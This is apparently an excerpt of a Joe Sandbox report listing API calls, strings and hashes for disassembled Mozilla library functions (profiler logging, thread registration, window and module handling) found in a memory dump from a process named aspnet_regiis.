GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C7F5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C7F5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C7F577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C7F5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C7F57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C7F57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C7F57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C7F57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C7F57FF

Strings

user32, xrefs: 6C7F5601
GetWindowDC, xrefs: 6C7F5710
ReleaseDC, xrefs: 6C7F5742
MonitorFromWindow, xrefs: 6C7F578D
LoadIconW, xrefs: 6C7F575B
gdi32, xrefs: 6C7F560A
FillRect, xrefs: 6C7F5729
AreDpiAwarenessContextsEqual, xrefs: 6C7F5637
GetThreadDpiAwarenessContext, xrefs: 6C7F562D
ShowWindow, xrefs: 6C7F56DE
CreateWindowExW, xrefs: 6C7F56C5
GetSystemMetricsForDpi, xrefs: 6C7F5677
DeleteObject, xrefs: 6C7F57F9
StretchDIBits, xrefs: 6C7F57CC
SetWindowLongPtrW, xrefs: 6C7F57B7
EnableNonClientDpiScaling, xrefs: 6C7F5666
CreateSolidBrush, xrefs: 6C7F57E4
LoadCursorW, xrefs: 6C7F5774
SetWindowPos, xrefs: 6C7F56F7
GetDpiForWindow, xrefs: 6C7F5690
RegisterClassW, xrefs: 6C7F56AC
GetMonitorInfoW, xrefs: 6C7F57A2

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 3ee0154ed0f9820dc128abc09d8b4bd1ef2a4cb313d60efa88dba742b754a4a6
Instruction ID: 303eaa62778184ebb935e75930cca075c59c7b09db6d8e7ff4f2ec60d818faaf
Opcode Fuzzy Hash: 3ee0154ed0f9820dc128abc09d8b4bd1ef2a4cb313d60efa88dba742b754a4a6
Instruction Fuzzy Hash: 0A5164B07117075BDB209F36AF4597A3AF9AB1675DB108835A821E3F42EB74D801CFA0

Function 6C7DCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C7A582D), ref: 6C7DCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C7A582D), ref: 6C7DCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C80FE98,?,?,?,?,?,6C7A582D), ref: 6C7DCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C7A582D), ref: 6C7DCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C7A582D), ref: 6C7DCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C7A582D), ref: 6C7DCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7A582D), ref: 6C7DCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C7DCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C7DCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C7DCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C7DCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C7DCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C7DCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C7DCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C7DCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C7DCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C7DCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C7DCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C7DCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C7DCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C7DCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C7DCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C7DCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C7DCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C7DCE8A

Strings

screenshots, xrefs: 6C7DCCD4
default, xrefs: 6C7DCC21
leaf, xrefs: 6C7DCC66
mainthreadio, xrefs: 6C7DCC7C
ipcmessages, xrefs: 6C7DCDBE
Unrecognized feature "%s"., xrefs: 6C7DCEA0
fileio, xrefs: 6C7DCC92
markersallthreads, xrefs: 6C7DCE42
seqstyle, xrefs: 6C7DCCE6
stackwalk, xrefs: 6C7DCCF8
noiostacks, xrefs: 6C7DCCBE
jsallocations, xrefs: 6C7DCD0E
power, xrefs: 6C7DCE84
processcpu, xrefs: 6C7DCE6E
notimerresolutionchange, xrefs: 6C7DCE00
java, xrefs: 6C7DCC37
unregisteredthreads, xrefs: 6C7DCE58
fileioall, xrefs: 6C7DCCA8
nostacksampling, xrefs: 6C7DCD7C
audiocallbacktracing, xrefs: 6C7DCDD4
samplingallthreads, xrefs: 6C7DCE2C
cpuallthreads, xrefs: 6C7DCE16
preferencereads, xrefs: 6C7DCD92
nativeallocations, xrefs: 6C7DCDA8

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: a111e0e07c0429f79f818eeef09983e519862fd681fdc8e9a1702d379d4f4243
Instruction ID: 0133e1be6d6dc11e13c6ebd91fdab3668d04d318205f779c58ebfd4bde5fd809
Opcode Fuzzy Hash: a111e0e07c0429f79f818eeef09983e519862fd681fdc8e9a1702d379d4f4243
Instruction Fuzzy Hash: 6651CAD1B1522521FA1038196F13BAA5649EF5324BF22483EFD09A2FC1FF14B20986B7

Function 6C7A47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C7A4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7A4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7A482D
__Init_thread_footer.LIBCMT ref: 6C7A484A

Part of subcall function 6C7CAB3F: EnterCriticalSection.KERNEL32(6C81E370,?,?,6C793527,6C81F6CC,?,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB49
Part of subcall function 6C7CAB3F: LeaveCriticalSection.KERNEL32(6C81E370,?,6C793527,6C81F6CC,?,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CAB7C

GetCurrentThreadId.KERNEL32 ref: 6C7A485F
GetCurrentThreadId.KERNEL32 ref: 6C7A487E
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7A488B
free.MOZGLUE(?), ref: 6C7A493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7A4956
free.MOZGLUE(00000000), ref: 6C7A4960
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7A499A

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

free.MOZGLUE(?), ref: 6C7A49C6
free.MOZGLUE(?), ref: 6C7A49E9

Part of subcall function 6C7B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7B5EDB
Part of subcall function 6C7B5E90: memset.VCRUNTIME140(6C7F7765,000000E5,55CCCCCC), ref: 6C7B5F27
Part of subcall function 6C7B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7B5FB2

Strings

MOZ_PROFILER_SHUTDOWN, xrefs: 6C7A4A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C7A4812
[I %d/%d] profiler_shutdown, xrefs: 6C7A4A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C7A4828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C7A47FC

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 3871954940e62cea960938981cd52dfcb687942b011a4e7819e1379a30142b19
Instruction ID: 2c34aa34eb5751abe4c1ef7ec38eb0a2ba307e241bfa40a2466a26b605f3de79
Opcode Fuzzy Hash: 3871954940e62cea960938981cd52dfcb687942b011a4e7819e1379a30142b19
Instruction Fuzzy Hash: C2814671A001028FDB20DFA9DA4971A37F5BB5231CF140739E80697F42DB32E856DB9A

Function 6C7A4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7A4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C7A44B2,6C81E21C,6C81F7F8), ref: 6C7A473E
Part of subcall function 6C7A4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C7A474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C7A44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C7A44D2
InitOnceExecuteOnce.KERNEL32(6C81F80C,6C79F240,?,?), ref: 6C7A451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C7A455C
LoadLibraryW.KERNEL32(?), ref: 6C7A4592
InitializeCriticalSection.KERNEL32(6C81F770), ref: 6C7A45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C7A45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C7A45BB
InitOnceExecuteOnce.KERNEL32(6C81F818,6C79F240,?,?), ref: 6C7A4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C7A4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C7A4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C7A466D
VerSetConditionMask.NTDLL ref: 6C7A469F
VerSetConditionMask.NTDLL ref: 6C7A46AB
VerSetConditionMask.NTDLL ref: 6C7A46B2
VerSetConditionMask.NTDLL ref: 6C7A46B9
VerSetConditionMask.NTDLL ref: 6C7A46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C7A46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C7A46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C7A46FD

Strings

user32.dll, xrefs: 6C7A4557, 6C7A463F
kernel32.dll, xrefs: 6C7A44CD
l, xrefs: 6C7A4578
NativeNtBlockSet_Write, xrefs: 6C7A46F7
WRusr.dll, xrefs: 6C7A44B5

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: d16f652bb06d67063696c908db9d6767ccf880fe8d7ca4c7f91253fbad8de341
Instruction ID: a5953d5994d2a085fb187792c6a6d2d62bec603b942f0b605ba683c3c492a651
Opcode Fuzzy Hash: d16f652bb06d67063696c908db9d6767ccf880fe8d7ca4c7f91253fbad8de341
Instruction Fuzzy Hash: B361E8B06042459FEB209FA0CE0ABA57BF8EF5630CF048A78E5049BF51D7B19546CF91

Function 6C7DF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C7DF8F9

Part of subcall function 6C7A6390: GetCurrentThreadId.KERNEL32 ref: 6C7A63D0
Part of subcall function 6C7A6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C7A63DF
Part of subcall function 6C7A6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C7A640E

ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF93A
GetCurrentThreadId.KERNEL32 ref: 6C7DF98A
GetCurrentThreadId.KERNEL32 ref: 6C7DF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF716

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

Part of subcall function 6C79B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C79B5E0

GetCurrentThreadId.KERNEL32 ref: 6C7DF739
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF746
GetCurrentThreadId.KERNEL32 ref: 6C7DF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C81385B,00000002,?,?,?,?,?), ref: 6C7DF829
free.MOZGLUE(?,?,00000000,?), ref: 6C7DF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C7DF866
free.MOZGLUE(?), ref: 6C7DFA0C

Part of subcall function 6C7A5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7A55E1), ref: 6C7A5E8C
Part of subcall function 6C7A5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7A5E9D
Part of subcall function 6C7A5E60: GetCurrentThreadId.KERNEL32 ref: 6C7A5EAB
Part of subcall function 6C7A5E60: GetCurrentThreadId.KERNEL32 ref: 6C7A5EB8
Part of subcall function 6C7A5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7A5ECF
Part of subcall function 6C7A5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C7A5F27
Part of subcall function 6C7A5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C7A5F47
Part of subcall function 6C7A5E60: GetCurrentProcess.KERNEL32 ref: 6C7A5F53
Part of subcall function 6C7A5E60: GetCurrentThread.KERNEL32 ref: 6C7A5F5C
Part of subcall function 6C7A5E60: GetCurrentProcess.KERNEL32 ref: 6C7A5F66
Part of subcall function 6C7A5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C7A5F7E

free.MOZGLUE(?), ref: 6C7DF9C5
free.MOZGLUE(?), ref: 6C7DF9DA

Strings

Thread , xrefs: 6C7DF789
" attempted to re-register as ", xrefs: 6C7DF858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C7DF9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C7DF71F

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 41585a08435a81ebd4ad462a3fc1d72939fcb939d4a02b86cc4ab90df639e281
Instruction ID: ee7e3895d886c5182a4ebe82f581cf1fa6ed467c43cbc19d2987355ef31dd6f1
Opcode Fuzzy Hash: 41585a08435a81ebd4ad462a3fc1d72939fcb939d4a02b86cc4ab90df639e281
Instruction Fuzzy Hash: 86811771A043019FD720DF24CA48BAABBF5EF85308F45456DE8499BB51EB30E949CBD2

Function 6C7DEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DEE60
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DEE6D
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C7DEEA5
CloseHandle.KERNEL32(?), ref: 6C7DEEB4
free.MOZGLUE(00000000), ref: 6C7DEEBB
GetCurrentThreadId.KERNEL32 ref: 6C7DEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DEECF

Part of subcall function 6C7DDE60: GetCurrentThreadId.KERNEL32 ref: 6C7DDE73
Part of subcall function 6C7DDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C7A4A68), ref: 6C7DDE7B
Part of subcall function 6C7DDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C7A4A68), ref: 6C7DDEB8
Part of subcall function 6C7DDE60: free.MOZGLUE(00000000,?,6C7A4A68), ref: 6C7DDEFE
Part of subcall function 6C7DDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C7DDF38

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

GetCurrentThreadId.KERNEL32 ref: 6C7DEF1E
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DEF2B
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DEF59
GetCurrentThreadId.KERNEL32 ref: 6C7DEFB0
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DEFBD
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DEFE1
GetCurrentThreadId.KERNEL32 ref: 6C7DEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF000

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C7DF02F

Part of subcall function 6C7DF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7DF09B
Part of subcall function 6C7DF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C7DF0AC
Part of subcall function 6C7DF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C7DF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C7DEED7
[I %d/%d] profiler_pause, xrefs: 6C7DF008

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: cf9e687f0fd278a9ecdf8cc44ab07f61bb09f76968cb7da30c8e99fc953db022
Instruction ID: a73215d5030dc057c48ccb8216c52f67a195589160273597b927aaa026e450a6
Opcode Fuzzy Hash: cf9e687f0fd278a9ecdf8cc44ab07f61bb09f76968cb7da30c8e99fc953db022
Instruction Fuzzy Hash: 615148716042179FEB219F66D60E7A67BF8EB6632CF110579E91983F41CB306804C7E2

Function 6C7A7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C7A8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C7A801D

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C7A802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C7A803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C7A808D

Part of subcall function 6C7ACA10: mozalloc_abort.MOZGLUE(?), ref: 6C7ACAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C7A809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C7A80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C7A80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C7A8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C7A8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C7A8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C7A817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A8199

Strings

